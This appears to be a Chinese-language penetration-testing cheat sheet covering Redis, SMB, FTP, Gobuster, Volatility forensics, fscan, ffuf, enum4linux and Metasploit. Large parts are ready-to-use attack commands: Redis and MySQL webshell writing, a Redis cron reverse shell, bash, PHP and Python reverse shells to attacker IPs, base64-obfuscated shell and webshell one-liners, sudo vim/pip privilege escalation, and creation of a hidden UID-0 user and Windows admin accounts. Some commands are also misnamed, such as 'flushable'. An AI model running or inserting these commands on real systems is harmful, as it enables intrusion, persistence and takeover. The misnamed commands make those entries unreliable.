常见知识点汇总

kali常见自带路径

  • 字典字典:/usr/share/wordlists/

网卡配置

  • 禁用/启用网卡:ifconfig [NIC_NAME] Down/Up

Telnet

  • -a:自动登录
  • -c:不读取用户的.telnetrc文件
  • -d:打开debug开关
  • -e:使用char作为转义字符
  • -E:不使用转义字符
  • -l:参试以user身份自动登录
  • -L:使用8位数据传输仅用于输出
  • -n:将跟踪的信息记录到FILE中
  • -r:使用类似于rlogin的用户界面
  • 常见用法:
    • telnet IP地址
    • telnet -l 用户名 IP地址
  • 注意事项:
    • root用户名可以用空密码通过telnet登录到目标

FTP

  • 常见用法:
    • ftp IP地址
  • 注意事项:
    • 常见用户名和密码:anonymous/任意密码
  • 其他知识点:
    • FTP的安全版本是SFTP
    • FTP登录成功的响应代码是230
    • 登录FTP下载文件的命令是get
    • 上传文件的命令是put

SMB

  • 全称:Server Message Block
  • 运行端口:445
  • nmap通常扫描出来得到的服务名为:microsoft-ds

smbclient工具使用教程

  • 列出某个IP地址所提供的共享文件夹:smbclient -L 198.168.0.1 [-U username%password]
    • Remote Admin:远程管理
    • Default share:默认分享
    • Remote IPC:远程IPC
  • 像FTP客户端一样使用smbclient:smbclient //192.168.0.1/tmp [-U username%password]
  • 直接使用一次性命令:smbclient -c "ls" //192.168.0.1/tmp [-U username%password]
  • 如果用户共享//192.168.0.1/tmp的方式是只读的,会提示NT_STATUS_ACCESS_DENIED making remote directory /share1,此时就可以使用smbclient -c "mkdir /share1" //192.168.0.1/tmp [-U username%password]解决

Redis

  • 运行端口:6379
  • 连接Redis:redis-cli -h host -p port -a password
  • 常用命令(未授权访问):
    • 查看信息:info
    • 删除所有数据库内容:flushable
    • 刷新数据库:flush
    • 选择数据库:select number,例如:select 1
    • 看所有键:KEYS *,使用select nun可以查看键值数据,例如:keys *
    • 设置变量:set test "who am i
    • 查看变量值:get 变量/键值

redis写入webshell

  • 切换目录到网站的根目录:config set dir /var/www/html/
  • 写入恶意代码:set x "\n\n\n<?php phpinfo();?>\n\n\n"
  • 写入一句话木马:set xx "\n\n\n<?php @eval($_REQUEST[8]);?>\n\n\n"
  • 磁盘中生成木马文件shell.php:config set dbfilename shell.php
  • 进行保存:save

redis秘钥登录SSH

redis利用计划任务进行反弹shell

  • 开启监听:nc -lvnp 7777
  • 写入计划任务:set xx "\n* * * * * bash -i >& /dev/tcp/192.168.175.161/7777 0>&1\n"
  • 设置导出的路径:config set dir /var/spool/cron/
  • 设置导出的文件名:config set dbfilename root
  • 保存:save

Gobuster

常用命令行选项:

  • -fw:使用通配符结果强制处理域
  • -np:隐藏进度输出
  • -m <mode>:使用哪种模式,dir(默认)或者dns
  • -q:禁用横幅/下划线输出
  • -t <threads>:要运行的线程数,默认10
  • -u <url/domain>:完整URL或者基本域名
  • -v:详细输出,显示所有结果
  • -w <wordlist>:设置字典

dns模式的命令选项:

  • -cn:显示CNAME记录,不能与-i选项一起使用
  • -i:显示结果的所有IP地址

dir模式的命令选项:

  • -a <user agent string>:指定要在请求标头中发送的用户代理字符串
  • -c <http cookie>:指定cookie
  • -e:指定呈现完整URL的扩展模式
  • -f:附加/目录暴力
  • -k:跳出SSL证书的验证
  • -l:显示响应的长度
  • -n:无状态模式,禁用结果状态代码的输出
  • -o <file>:指定要将输出写入的文件名
  • -p <proxy url>:指定用于所有请求的代理
  • -r:重定向
  • -s <status code>:指定状态码
  • -x <extensions>:要检查的扩展名列表
  • -P <password>:http授权密码
  • -U <username>:http授权用户名
  • -to <timeout>:http超时,默认10s,示例:10s

vol取证

  • 查看镜像的配置文件:imageinfo,eg:./volatility -f 1.raw imageinfo
  • 指定配置:--profile=指定镜像
  • 查看进程:pslist,eg:./volatility -f 1.raw --profile=Win7SP1x64 pslist
  • 提取进程文件:memdump,eg:./volatility -f 1.raw --profile=Win7SP1x64 memdump -p 4272 --dump-dir=./
    • -p:指定进程号
    • --dump-dir:指定存储文件的位置
  • 查看桌面的情况:filescan|grep Desktop,eg:./volatility -f 1.raw --profile=Win7SP1x64 filescan |grep Desktopfilescan的作用是扫描文件,然后可以搭配grep进行使用
  • 使用偏移量导出文件:dumpfiles,eg:./volatility -f 1.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000002a2897e0 -D ./
    • -Q:指定偏移量
    • -D:存储文件的文件夹
  • 列出cmd命令:
    • cmdline,eg:./volatility -f 1.raw --profile=Win7SP1x64 cmdline
    • cmdscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 cmdscan
  • 列出进程列表:
    • psscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 psscan
    • pslist,eg:./volatility -f 1.raw --profile=Win7SP1x64 pslist
  • 扫描建立的连接和套接字(类似于netstat):
    • netscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 netscan
  • 扫描Windows服务列表:
    • svcscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 svcscan
  • 获取GDI的截图:
    • screenshot,eg:./volatility -f 1.raw --profile=Win7SP1x64 screenshot --dump-dir=./
  • 显示每个进程的加载dll列表:
    • dlllist,eg:./volatility -f 1.raw --profile=Win7SP1x64 dlllist
  • 提取日志文件:
    • dumpregistry./volatility -f 1.raw --profile=Win7SP1x64 dumpregistry --dump-dir=./
  • 查看用户名密码信息:
    • hashdump,eg:./volatility -f 1.raw --profile=Win7SP1x64 hashdump
  • 查看浏览器历史记录:
    • idhistory,eg:./volatility -f 1.raw --profile=Win7SP1x64 iehistory
  • 查看文件:
    • filescan,eg:./volatility -f 1.raw --profile=Win7SP1x64 filescan
  • 查看注册表配置单元:
    • hivelist,eg:./volatility -f 1.raw --profile=Win7SP1x64 hivelist
  • 查看注册表键名:
    • hivedump,eg:./volatility -f 1.raw --profile=Win7SP1x64 hivedump -o 0xfffff8a005fef010
  • 查看注册表键值:
    • printkey,eg:./volatility -f 1.vmem --profile=Win7SP1x64 printkey -K "xxxxxxx"
  • 查看运行程序相关的记录,比如最后一次更新的时间,运行的次数等等:
    • userassist,eg:./volatility -f 1.raw --profile=Win7SP1x64 userassist
  • 最大程序提取信息:
    • timeliner,eg:./volatility -f 1.raw --profile=Win7SP1x64 timeliner

常见反弹shell方式

PHP

  • php反弹shell:php -r '$sock=fsockopen("192.168.1.1",9001);exec("/bin/bash -i <&3 >&3 2>&3");'
  • 写入PHP一句话木马:echo ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzhdKTsgPz4nID4gc2hlbGwucGhw | base64 -d | sh,webshell:<?php @eval($_POST[8]); ?>[shell.php]

bash反弹shell

  • 普通bash反弹shell:bash -i >& /dev/tcp/10.0.2.15/7777 0>&1
  • 嵌套bash反弹shell:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNzc3NyAwJj4x}|{base64,-d}|{bash,-i}
  • 绕过bash反弹shell:
    • 先进行base64编码:echo "bash -i >& /dev/tcp/10.0.2.5/9001 0>&1" | base64
    • 然后嵌套:echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNzc3NyAwPiYx" | base64 -d|bash

python

python升级shell

  • python升级shell,升级为pty-shell:python3 -c 'import pty;pty.spawn("/bin/bash")',然后再export TERM=xterm,然后Crtl+Z将反弹shell置于后台,再使用stty raw -echo;fg;reset重新获取shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    export TERM=xterm-256color
    export SHELL=/bin/bash
    stty size
    这里的值是多少,最后的值也要修改为多少

    使用Crtl+Z,然后输入下面的内容
    stty raw -echo;fg
    直接输入下面的内容
    reset
    stty rows 0 columns 0

python反弹shell

第一种方式
1
2
3
4
5
6
7
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.15",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
第二种方式
1
import pty,socket;s=socket.socket();s.connect(("10.0.2.15",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
1
2
3
4
5
import pty,socket
s=socket.socket()
s.connect(("10.0.2.15",9001))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("sh")

nc

  • 使用nc监听端口:nc -lvnp 7777
  • 使用nc程序来传输二进制文件:
    • 先在宿主机上运行:nc -lp 9002 > binFile,binFile表示二进制文件
    • 然后在被监听的服务器上运行:nc -w 3 you_ip[宿主机IP] 7778[Port] < /usr/bin/binFile[二进制文件]

searchsploit的使用

  • 搜索内核版本:searchsploit 4.4.0
    image-20230606231153913

提权

参考文章:http://cn-sec.com/archives/260823.html

SUID

  • 查找SUID的二进制文件:find / -perm -u=s -type f 2>/dev/null

vim提权

  • sudo /usr/bin/vim -c ':!/bin/sh'

pip提权

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

traitor

介绍

1
2
3
4
5
几乎所有的GTFOBins
可写的docker.sock
CVE-2022-0847(脏管)
CVE-2021-4034(pwnkit)
CVE-2021-3560

PEASS-ng

介绍

1
适用于 Windows 和 Linux/Unix* 以及 MacOS 的权限升级工具

ltrace工具

  • 功能:是一个简单的程序,它将执行二进制文件直到或除非它退出。它将告诉我们所有库调用并拦截二进制文件进行的系统调用。

find

  • 查找我们可以使用命令访问的文件:find / -group administrators -type f 2>/dev/null

tar命令

  • 压缩文件:tar -czvf test.tar.gz test.txt
  • 解压文件:tar -xzvf test.tar.gz

Linux添加用户命令

1
2
3
先添加用户:useradd -g root -s /bin/bash -u 10010 test
将/etc/passwd中的UID修改为0:sed -i "s/test:x:10010/test:x:0/g" /etc/passwd
给用户test设置一个密码:echo "test:sd123456" | chpasswd

windows用户操作

1
2
3
4
5
查看用户:net user
添加用户:net user name password /add,例如:net user monkey111 123456 /add
将此用户提升为管理员:net localgroup administrators monkey111 /add
查看所有管理员:net user administrators
删除账号:net user monkey111 /delete

fscan

常用命令参数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)

wireshark

常用过滤器

  • 过滤所有的http请求包:http.request
  • 过滤所有的http响应包:http.response
  • 获取主机信息:nbns

常见配置

配置显示域名对应的IP地址

编辑->首选项->Name Resolution->勾选图中箭头所指处

image-20230611121714908

快速获取列

右键要选择的列,添加到列

image-20230611122946330

然后可以修改名字,右键列顶栏,然后部署列

image-20230611123030886

可以进行修改

image-20230611123043959

ffuf

常见命令参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
-D	与 -e 标志一起使用。用 -e 提供的每个扩展替换单词列表条目中的 %EXT%
-H "名称:值"
标头“名称:值”,以冒号分隔。接受多个 -H 标志
-V 显示版本信息
-X string
使用的HTTP方法(默认为“GET”)
-ac 自动校准过滤选项
-c 着色输出
-d string
POST数据
-e string
以逗号分隔的要应用的扩展名列表。提供的每个扩展都会扩展一次单词列表条目
-fc string
从响应中过滤 HTTP 状态代码
-fr string
过滤 HTTP 响应大小
-fw string
按响应中的字数过滤
-k TLS 身份验证
-mc string
匹配来自respose的HTTP状态码,使用“all”来匹配每一个响应码。 (默认“200,204,301,302,307,401,403”)
-mr string
匹配正则表达式
-ms string
匹配 HTTP 响应大小
-mw string
匹配响应中的字数
-o string
将输出写入文件
-of string
输出文件格式。可用格式:json、csv、ecsv(默认“json”)
-p delay
请求之间的延迟秒数,或一系列随机延迟。例如“0.1”或“0.1-2.0”
-r 跟随重定向
-s 不打印附加信息(静默模式)
-sa 停止所有错误情况。暗示 -sf 和 -se
-se 停止虚假错误
-sf 当 > 95% 的响应返回 403 Forbidden 时停止
-t int
并发线程数(默认40)
-timeout int
HTTP 请求超时秒数。 (默认 10)
-u string
目标网址
-w string
字典路径
-x string
HTTP 代理网址
-ic 忽略wordlist注释(默认值:false)

Linux其他常见知识点

  • 后台运行程序:
    • command > out.file 2>&1 &
    • nohup command > myout.file 2>&1 &
    • nohup command &

enum4linux

  • 该工具的主要作用:用于枚举Windows和Samba主机中的数据

常见配置参数

参考文章链接:https://hackfun.org/2016/10/23/Kali-Linux%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B9%8Benum4linux/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
用法: enum4linux [选项] ip地址

枚举选项:
-U 获取用户列表
-M 获取机器列表*
-S 获取共享列表
-P 获取密码策略信息
-G 获取组和成员列表
-d 详述适用于-U和-S
-u user 用户指定要使用的用户名(默认"")
-p pass 指定要使用的密码(默认为"")

其他选项:
-a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
-h 显示此帮助消息并退出
-r 通过RID循环枚举用户
-R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
-K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
-l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
-s 文件暴力猜测共享名称
-k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
用于获取sid与“lookupsid known_username”
使用逗号尝试几个用户:“-k admin,user1,user2”
-o 获取操作系统信息
-i 获取打印机信息
-w wrkg 手动指定工作组(通常自动找到)
-n 做一个nmblookup(类似于nbtstat)
-v 详细输出,显示正在运行的完整命令(net,rpcclient等)

msf

msfvenom

  • 生成war格式木马:msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.15 LPORT=7777 -f war -o revshell.war

漏洞利用

MySQL

MySQL日志shell

1
2
3
4
查看日志是否开启:show variables like "%general%"
打开日志读写功能:set global general_log='on'
设置日志存储文件:set global general_log_file="C:/phpStudy/WWW/monkey111.php"
进行查询写shell:select "<?php phpinfo();?>"

MySQL写shell

1
2
3
4
查看系统变量:SHOW VARIABLES LIKE "secure_file_priv";
如果为null的话,就是没有设置允许操作的目录,所以没法导出到文件
如果为具体的目录,则可以考虑导出到指定目录,或者从指定目录导出
如果变量值为空,则可以使用任意目录